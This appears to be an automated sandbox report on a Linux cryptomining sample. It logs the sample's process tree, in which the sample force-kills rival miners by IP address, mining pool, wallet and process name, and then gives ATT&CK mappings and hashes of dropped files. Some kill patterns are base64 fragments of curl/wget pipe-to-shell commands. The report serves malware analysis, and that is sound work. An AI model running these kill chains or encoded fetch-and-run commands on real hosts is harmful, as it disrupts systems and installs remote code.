- /bin/grep
  grep nullcrew
  2⤵
  PID:1532
- /bin/grep
  grep -v grep
  2⤵
  PID:1531
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1530
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1541
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1540
- /bin/grep
  grep curl
  2⤵
  PID:1539
- /bin/grep
  grep nullcrew
  2⤵
  PID:1538
- /bin/grep
  grep -v grep
  2⤵
  PID:1537
- /bin/ps
  ps aux
  2⤵
  PID:1536
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1546
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1545
- /bin/grep
  grep 107.174.47.156
  2⤵
  PID:1544
- /bin/grep
  grep -v grep
  2⤵
  PID:1543
- /bin/ps
  ps aux
  2⤵
  PID:1542
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1551
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1550
- /bin/grep
  grep 83.220.169.247
  2⤵
  PID:1549
- /bin/grep
  grep -v grep
  2⤵
  PID:1548
- /bin/ps
  ps aux
  2⤵
  PID:1547
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1556
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1555
- /bin/grep
  grep 51.38.203.146
  2⤵
  PID:1554
- /bin/grep
  grep -v grep
  2⤵
  PID:1553
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1552
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1561
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1560
- /bin/grep
  grep 144.217.45.45
  2⤵
  PID:1559
- /bin/grep
  grep -v grep
  2⤵
  PID:1558
- /bin/ps
  ps aux
  2⤵
  PID:1557
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1566
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1565
- /bin/grep
  grep 107.174.47.181
  2⤵
  PID:1564
- /bin/grep
  grep -v grep
  2⤵
  PID:1563
- /bin/ps
  ps aux
  2⤵
  PID:1562
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1571
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1570
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1569
- /bin/grep
  grep -v grep
  2⤵
  PID:1568
- /bin/ps
  ps aux
  2⤵
  PID:1567
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1576
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1575
- /bin/grep
  grep mine.moneropool.com
  2⤵
  PID:1574
- /bin/grep
  grep -v grep
  2⤵
  PID:1573
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1572
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1581
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1580
- /bin/grep
  grep pool.t00ls.ru
  2⤵
  PID:1579
- /bin/grep
  grep -v grep
  2⤵
  PID:1578
- /bin/ps
  ps auxf
  2⤵
  PID:1577
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1586
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1585
- /bin/grep
  grep xmr.crypto-pool.fr:8080
  2⤵
  PID:1584
- /bin/grep
  grep -v grep
  2⤵
  PID:1583
- /bin/ps
  ps auxf
  2⤵
  PID:1582
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1591
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1590
- /bin/grep
  grep xmr.crypto-pool.fr:3333
  2⤵
  PID:1589
- /bin/grep
  grep -v grep
  2⤵
  PID:1588
- /bin/ps
  ps auxf
  2⤵
  PID:1587
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1596
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1595
- /bin/grep
  grep "[email protected]"
  2⤵
  PID:1594
- /bin/grep
  grep -v grep
  2⤵
  PID:1593
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1592
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1601
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1600
- /bin/grep
  grep monerohash.com
  2⤵
  PID:1599
- /bin/grep
  grep -v grep
  2⤵
  PID:1598
- /bin/ps
  ps auxf
  2⤵
  PID:1597
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1606
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1605
- /bin/grep
  grep /tmp/a7b104c270
  2⤵
  PID:1604
- /bin/grep
  grep -v grep
  2⤵
  PID:1603
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1602
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1611
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1610
- /bin/grep
  grep xmr.crypto-pool.fr:6666
  2⤵
  PID:1609
- /bin/grep
  grep -v grep
  2⤵
  PID:1608
- /bin/ps
  ps auxf
  2⤵
  PID:1607
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1616
- /bin/grep
  grep -v grep
  2⤵
  PID:1613
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1615
- /bin/ps
  ps auxf
  2⤵
  PID:1612
- /bin/grep
  grep xmr.crypto-pool.fr:7777
  2⤵
  PID:1614
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1621
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1620
- /bin/grep
  grep xmr.crypto-pool.fr:443
  2⤵
  PID:1619
- /bin/grep
  grep -v grep
  2⤵
  PID:1618
- /bin/ps
  ps auxf
  2⤵
  PID:1617
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1626
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1625
- /bin/grep
  grep stratum.f2pool.com:8888
  2⤵
  PID:1624
- /bin/grep
  grep -v grep
  2⤵
  PID:1623
- /bin/ps
  ps auxf
  2⤵
  PID:1622
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1631
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1630
- /bin/grep
  grep xmrpool.eu
  2⤵
  PID:1629
- /bin/grep
  grep -v grep
  2⤵
  PID:1628
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1627
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1635
- - /usr/local/sbin/kill
    kill -9 1633
    3⤵
    PID:1636
- - /usr/local/bin/kill
    kill -9 1633
    3⤵
    PID:1636
- - /usr/sbin/kill
    kill -9 1633
    3⤵
    PID:1636
- - /usr/bin/kill
    kill -9 1633
    3⤵
    PID:1636
- - /sbin/kill
    kill -9 1633
    3⤵
    PID:1636
- - /bin/kill
    kill -9 1633
    3⤵
    PID:1636
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1634
- /bin/grep
  grep xiaoyao
  2⤵
  PID:1633
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1632
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1639
- /bin/grep
  grep xiaoxue
  2⤵
  PID:1638
- /bin/ps
  ps auxf
  2⤵
  PID:1637
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1640
- - /usr/local/sbin/kill
    kill -9 1638
    3⤵
    PID:1641
- - /usr/local/bin/kill
    kill -9 1638
    3⤵
    PID:1641
- - /usr/sbin/kill
    kill -9 1638
    3⤵
    PID:1641
- - /usr/bin/kill
    kill -9 1638
    3⤵
    PID:1641
- - /sbin/kill
    kill -9 1638
    3⤵
    PID:1641
- - /bin/kill
    kill -9 1638
    3⤵
    PID:1641
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1645
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1644
- /bin/grep
  grep 46.243.253.15
  2⤵
  PID:1643
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1646
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1647
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1652
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1653
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1651
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1650
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1649
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1659
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1658
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1657
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1656
- /bin/grep
  grep 108.174.197.76
  2⤵
  PID:1655
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1665
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1664
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1663
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1662
- /bin/grep
  grep 192.236.161.6
  2⤵
  PID:1661
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1671
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1670
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1669
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1668
- /bin/grep
  grep 88.99.242.92
  2⤵
  PID:1667
- /usr/bin/pkill
  pkill -f pastebin
  2⤵
  PID:1672
- /usr/bin/pkill
  pkill -f 185.193.127.115
  2⤵
  - Reads runtime system information
  PID:1673
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1675
- /usr/bin/pgrep
  pgrep -f monerohash
  2⤵
  - Reads CPU attributes
  PID:1674
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1677
- /usr/bin/pgrep
  pgrep -f L2Jpbi9iYXN
  2⤵
  PID:1676
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1679
- /usr/bin/pgrep
  pgrep -f xzpauectgr
  2⤵
  PID:1678
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1681
- /usr/bin/pgrep
  pgrep -f slxfbkmxtd
  2⤵
  PID:1680
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1683
- /usr/bin/pgrep
  pgrep -f mixtape
  2⤵
  - Reads CPU attributes
  PID:1682
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1685
- /usr/bin/pgrep
  pgrep -f addnj
  2⤵
  - Reads CPU attributes
  PID:1684
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1687
- /usr/bin/pgrep
  pgrep -f 200.68.17.196
  2⤵
  PID:1686
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1689
- /usr/bin/pgrep
  pgrep -f IyEvYmluL3NoCgpzUG
  2⤵
  - Reads CPU attributes
  PID:1688
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1691
- /usr/bin/pgrep
  pgrep -f KHdnZXQgLXFPLSBodHRw
  2⤵
  - Reads runtime system information
  PID:1690
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1693
- /usr/bin/pgrep
  pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3
  2⤵
  PID:1692
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1695
- /usr/bin/pgrep
  pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo
  2⤵
  - Reads CPU attributes
  PID:1694
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1697
- /usr/bin/pgrep
  pgrep -f mwyumwdbpq.conf
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1699
- /usr/bin/pgrep
  pgrep -f honvbsasbf.conf
  2⤵
  - Reads CPU attributes
  PID:1698
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1701
- /usr/bin/pgrep
  pgrep -f mqdsflm.cf
  2⤵
  - Reads CPU attributes
  PID:1700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1703
- /usr/bin/pgrep
  pgrep -f stratum
  2⤵
  PID:1702
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1705
- /usr/bin/pgrep
  pgrep -f lower.sh
  2⤵
  PID:1704
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1707
- /usr/bin/pgrep
  pgrep -f ./ppp
  2⤵
  PID:1706
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1709
- /usr/bin/pgrep
  pgrep -f cryptonight
  2⤵
  PID:1708
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1711
- /usr/bin/pgrep
  pgrep -f ./seervceaess
  2⤵
  - Reads runtime system information
  PID:1710
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1713
- /usr/bin/pgrep
  pgrep -f ./servceaess
  2⤵
  PID:1712
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1715
- /usr/bin/pgrep
  pgrep -f ./servceas
  2⤵
  - Reads runtime system information
  PID:1714
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1717
- /usr/bin/pgrep
  pgrep -f ./servcesa
  2⤵
  PID:1716
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1719
- /usr/bin/pgrep
  pgrep -f ./vsp
  2⤵
  PID:1718
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1721
- /usr/bin/pgrep
  pgrep -f ./jvs
  2⤵
  PID:1720
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1723
- /usr/bin/pgrep
  pgrep -f ./pvv
  2⤵
  PID:1722
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1725
- /usr/bin/pgrep
  pgrep -f ./vpp
  2⤵
  PID:1724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1727
- /usr/bin/pgrep
  pgrep -f ./pces
  2⤵
  - Reads runtime system information
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1729
- /usr/bin/pgrep
  pgrep -f ./rspce
  2⤵
  PID:1728
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1731
- /usr/bin/pgrep
  pgrep -f ./haveged
  2⤵
  PID:1730
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1733
- /usr/bin/pgrep
  pgrep -f ./jiba
  2⤵
  - Reads runtime system information
  PID:1732
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1735
- /usr/bin/pgrep
  pgrep -f ./watchbog
  2⤵
  PID:1734
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1737
- /usr/bin/pgrep
  pgrep -f ./A7mA5gb
  2⤵
  - Reads CPU attributes
  PID:1736
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1739
- /usr/bin/pgrep
  pgrep -f kacpi_svc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1738
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1741
- /usr/bin/pgrep
  pgrep -f kswap_svc
  2⤵
  PID:1740
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1743
- /usr/bin/pgrep
  pgrep -f kauditd_svc
  2⤵
  - Reads runtime system information
  PID:1742
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1745
- /usr/bin/pgrep
  pgrep -f kpsmoused_svc
  2⤵
  - Reads CPU attributes
  PID:1744
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1747
- /usr/bin/pgrep
  pgrep -f kseriod_svc
  2⤵
  PID:1746
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1749
- /usr/bin/pgrep
  pgrep -f kthreadd_svc
  2⤵
  PID:1748
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1751
- /usr/bin/pgrep
  pgrep -f ksoftirqd_svc
  2⤵
  - Reads CPU attributes
  PID:1750
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1753
- /usr/bin/pgrep
  pgrep -f kintegrityd_svc
  2⤵
  - Reads runtime system information
  PID:1752
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Reads runtime system information
  PID:1755
- /usr/bin/pgrep
  pgrep -f jawa
  2⤵
  PID:1754
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1757
- /usr/bin/pgrep
  pgrep -f oracle.jpg
  2⤵
  PID:1756
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1759
- /usr/bin/pgrep
  pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN
  2⤵
  - Reads runtime system information
  PID:1758
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1761
- /usr/bin/pgrep
  pgrep -f 188.209.49.54
  2⤵
  - Reads CPU attributes
  PID:1760
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1763
- /usr/bin/pgrep
  pgrep -f 181.214.87.241
  2⤵
  PID:1762
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1765
- /usr/bin/pgrep
  pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ
  2⤵
  PID:1764
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1767
- /usr/bin/pgrep
  pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj
  2⤵
  PID:1766
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1769
- /usr/bin/pgrep
  pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK
  2⤵
  PID:1768
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1771
- /usr/bin/pgrep
  pgrep -f servim
  2⤵
  - Reads CPU attributes
  PID:1770
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1773
- /usr/bin/pgrep
  pgrep -f kblockd_svc
  2⤵
  - Reads CPU attributes
  PID:1772
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1775
- /usr/bin/pgrep
  pgrep -f native_svc
  2⤵
  - Reads CPU attributes
  PID:1774
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1777
- /usr/bin/pgrep
  pgrep -f ynn
  2⤵
  PID:1776
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1779
- /usr/bin/pgrep
  pgrep -f 65ccEJ7
  2⤵
  PID:1778
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1781
- /usr/bin/pgrep
  pgrep -f jmxx
  2⤵
  - Reads CPU attributes
  PID:1780
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1783
- /usr/bin/pgrep
  pgrep -f 2Ne80nA
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1782
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1785
- /usr/bin/pgrep
  pgrep -f sysstats
  2⤵
  - Reads CPU attributes
  PID:1784
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1787
- /usr/bin/pgrep
  pgrep -f systemxlv
  2⤵
  - Reads CPU attributes
  PID:1786
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1789
- /usr/bin/pgrep
  pgrep -f watchbog
  2⤵
  - Reads CPU attributes
  PID:1788
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1791
- /usr/bin/pgrep
  pgrep -f OIcJi1m
  2⤵
  PID:1790
- /usr/bin/pkill
  pkill -f biosetjenkins
  2⤵
  PID:1792
- /usr/bin/pkill
  pkill -f Loopback
  2⤵
  PID:1793
- /usr/bin/pkill
  pkill -f apaceha
  2⤵
  PID:1794
- /usr/bin/pkill
  pkill -f cryptonight
  2⤵
  PID:1795
- /usr/bin/pkill
  pkill -f stratum
  2⤵
  PID:1796
- /usr/bin/pkill
  pkill -f mixnerdx
  2⤵
  PID:1797
- /usr/bin/pkill
  pkill -f performedl
  2⤵
  PID:1798
- /usr/bin/pkill
  pkill -f JnKihGjn
  2⤵
  PID:1799
- /usr/bin/pkill
  pkill -f irqba2anc1
  2⤵
  - Reads runtime system information
  PID:1800
- /usr/bin/pkill
  pkill -f irqba5xnc1
  2⤵
  PID:1801
- /usr/bin/pkill
  pkill -f irqbnc1
  2⤵
  PID:1802
- /usr/bin/pkill
  pkill -f ir29xc1
  2⤵
  PID:1803
- /usr/bin/pkill
  pkill -f conns
  2⤵
  - Reads CPU attributes
  PID:1804
- /usr/bin/pkill
  pkill -f irqbalance
  2⤵
  PID:1805
- /usr/bin/pkill
  pkill -f crypto-pool
  2⤵
  PID:1806
- /usr/bin/pkill
  pkill -f XJnRj
  2⤵
  PID:1807
- /usr/bin/pkill
  pkill -f mgwsl
  2⤵
  PID:1808
- /usr/bin/pkill
  pkill -f pythno
  2⤵
  PID:1809
- /usr/bin/pkill
  pkill -f jweri
  2⤵
  PID:1810
- /usr/bin/pkill
  pkill -f lx26
  2⤵
  PID:1811
- /usr/bin/pkill
  pkill -f NXLAi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1812
- /usr/bin/pkill
  pkill -f BI5zj
  2⤵
  PID:1813
- /usr/bin/pkill
  pkill -f askdljlqw
  2⤵
  PID:1814
- /usr/bin/pkill
  pkill -f minerd
  2⤵
  - Reads CPU attributes
  PID:1815
- /usr/bin/pkill
  pkill -f minergate
  2⤵
  PID:1816
- /usr/bin/pkill
  pkill -f Guard.sh
  2⤵
  - Reads CPU attributes
  PID:1817
- /usr/bin/pkill
  pkill -f ysaydh
  2⤵
  PID:1818
- /usr/bin/pkill
  pkill -f bonns
  2⤵
  - Reads CPU attributes
  PID:1819
- /usr/bin/pkill
  pkill -f donns
  2⤵
  PID:1820
- /usr/bin/pkill
  pkill -f kxjd
  2⤵
  PID:1821
- /usr/bin/pkill
  pkill -f Duck.sh
  2⤵
  PID:1822
- /usr/bin/pkill
  pkill -f bonn.sh
  2⤵
  PID:1823
- /usr/bin/pkill
  pkill -f conn.sh
  2⤵
  - Reads CPU attributes
  PID:1824
- /usr/bin/pkill
  pkill -f kworker34
  2⤵
  - Reads runtime system information
  PID:1825
- /usr/bin/pkill
  pkill -f kw.sh
  2⤵
  PID:1826
- /usr/bin/pkill
  pkill -f pro.sh
  2⤵
  PID:1827
- /usr/bin/pkill
  pkill -f polkitd
  2⤵
  PID:1828
- /usr/bin/pkill
  pkill -f acpid
  2⤵
  PID:1829
- /usr/bin/pkill
  pkill -f icb5o
  2⤵
  PID:1830
- /usr/bin/pkill
  pkill -f nopxi
  2⤵
  - Reads CPU attributes
  PID:1831
- /usr/bin/pkill
  pkill -f irqbalanc1
  2⤵
  PID:1832
- /usr/bin/pkill
  pkill -f minerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1833
- /usr/bin/pkill
  pkill -f i586
  2⤵
  - Reads CPU attributes
  PID:1834
- /usr/bin/pkill
  pkill -f gddr
  2⤵
  PID:1835
- /usr/bin/pkill
  pkill -f mstxmr
  2⤵
  PID:1836
- /usr/bin/pkill
  pkill -f ddg.2011
  2⤵
  - Reads CPU attributes
  PID:1837
- /usr/bin/pkill
  pkill -f wnTKYg
  2⤵
  PID:1838
- /usr/bin/pkill
  pkill -f deamon
  2⤵
  PID:1839
- /usr/bin/pkill
  pkill -f disk_genius
  2⤵
  PID:1840
- /usr/bin/pkill
  pkill -f sourplum
  2⤵
  PID:1841
- /usr/bin/pkill
  pkill -f polkitd
  2⤵
  PID:1842
- /usr/bin/pkill
  pkill -f nanoWatch
  2⤵
  PID:1843
- /usr/bin/pkill
  pkill -f zigw
  2⤵
  PID:1844
- /usr/bin/pkill
  pkill -f devtool
  2⤵
  PID:1845
- /usr/bin/pkill
  pkill -f devtools
  2⤵
  - Reads CPU attributes
  PID:1846
- /usr/bin/pkill
  pkill -f systemctI
  2⤵
  PID:1847
- /usr/bin/pkill
  pkill -f watchbog
  2⤵
  PID:1848
- /usr/bin/pkill
  pkill -f cryptonight
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1849
- /usr/bin/pkill
  pkill -f sustes
  2⤵
  - Reads runtime system information
  PID:1850
- /usr/bin/pkill
  pkill -f xmrig
  2⤵
  PID:1851

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
825B

MD5
72c8ee93f11c8af26c2073a517d45f31

SHA1
78f1923f74115fa79f315cd37610b39d1161d878

SHA256
8b9bea22ff3feb9cb249871a21ff353e3059b78891545338368e1e90f1922b93

SHA512
13d0f64cf3b12070a90386b6eda3a98118f2a39ccdee325ee10320b88dc1b3176ab4be8c788bc332d8825fbbfc434ac43eed257da428e424dcc8645f7cf20667

Download Submit
/var/mail/user

Filesize
1KB

MD5
c7bac67042cac1bb553467e92533e2c9

SHA1
cff017df65bfc3250251269b183f9a6dbbc3155e

SHA256
b8009f10f12002ff04ce1842b039c597024f6a950e2063434e5aecc99ed1157f

SHA512
990db64961a4226ed0240940e760b4e9f0943df75ad0d2bcf409accf1c9fb363f26252b7d48b214159eab773fc01dd14d7e86d15693ef05dcb7d3b4b684b07af

Download Submit
/var/spool/exim4/input/1sq0yq-0000By-VL-D

Filesize
128B

MD5
b8e34550f6df8a36c10a6586143efbd4

SHA1
6a7bd30e96eb0c916591517e569580463165933f

SHA256
0cf12833183b95393fe0fd081f8b0a23d53a32174637b32a461e69bbae0b7341

SHA512
7ed9389446b187ef66cd06ca5427c0a37b5fb4d1f5fe77f50dd40c83e9e1be1649a2de18e4ead786ab71cd2142718c1710dfb0f122ac89382e95953648d7f761

Download Submit
/var/spool/exim4/input/1sq0yq-0000By-VL-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1sq0yr-0000C1-0l-D

Filesize
146B

MD5
3b5ee400c2230319168bea4697e2d576

SHA1
923810c2aa54e4f33b915358c29aefa0ee8d9ad4

SHA256
5f6eb7c31c3c4d202db7a215a65775a3326baa6ab2d3d5fd8246dfb754393348

SHA512
